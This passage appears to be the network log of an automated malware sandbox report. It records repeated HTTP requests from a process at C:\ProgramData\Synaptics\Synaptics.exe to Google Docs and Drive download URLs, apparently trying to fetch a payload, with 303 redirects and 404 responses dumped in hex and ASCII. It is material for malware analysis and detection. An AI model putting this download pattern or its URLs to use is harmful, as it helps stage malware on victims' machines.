Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:04 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:04 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 67 77 53 50 6d 48 52 39 4d 58 76 63 50 66 50 45 46 51 2d 74 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="DgwSPmHR9MXvcPfPEFQ-tg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:04 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49792	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:04 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
2024-12-30 10:36:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-xuLWizHg-2yPTiVpINPvZg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49793	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:04 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
2024-12-30 10:36:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0aOynHecOJIJTXF5rn6Bfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49794	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:04 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:05 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC702cmuWsXn2m-dcu-WukJu6RTvwK88Zc9rHS1y_V4ytGd7RgO_XJ3ZZAyvSjQt5l3FF3UEKuQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:05 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-fZakuaf-B8iCvLRPeDu3_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:05 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:05 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 70 4b 79 6b 74 44 56 58 63 70 30 31 64 45 70 73 67 61 38 4a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="VpKyktDVXcp01dEpsga8Jw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:05 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49795	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:04 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:05 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5oi5i29iQP001zNMF8CXNgMksE1eZEDcQyAhToSbQErtFJU-V39lo7qwcb0NUnk981 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:05 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-PX9-0Bm7Z8f5iqwOWYPEjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:05 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:05 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 74 45 37 31 79 66 35 55 67 74 38 57 2d 55 65 34 79 2d 50 48 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="ftE71yf5Ugt8W-Ue4y-PHA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:05 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49796	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:05 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
2024-12-30 10:36:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-dCo0wq0I7cqgFxClwWhPXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49797	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:05 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:36:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-EZyWZU5S13vvju1HxJLPww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49799	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:05 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:06 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5iASZcT6NwIC-1CiQ2AmelYITs748FqaQubbLNhz21R-_TSTIAEhPLV3Dm57pjihAVscr9Z-Y Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:06 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-fMVZVNUnRG_TL-jE0oFsvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:06 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:06 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 5a 6d 7a 4a 4f 42 59 6f 4f 48 72 50 38 4e 62 6f 45 31 4f 34 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="mZmzJOBYoOHrP8NboE1O4g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:06 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49800	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:06 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
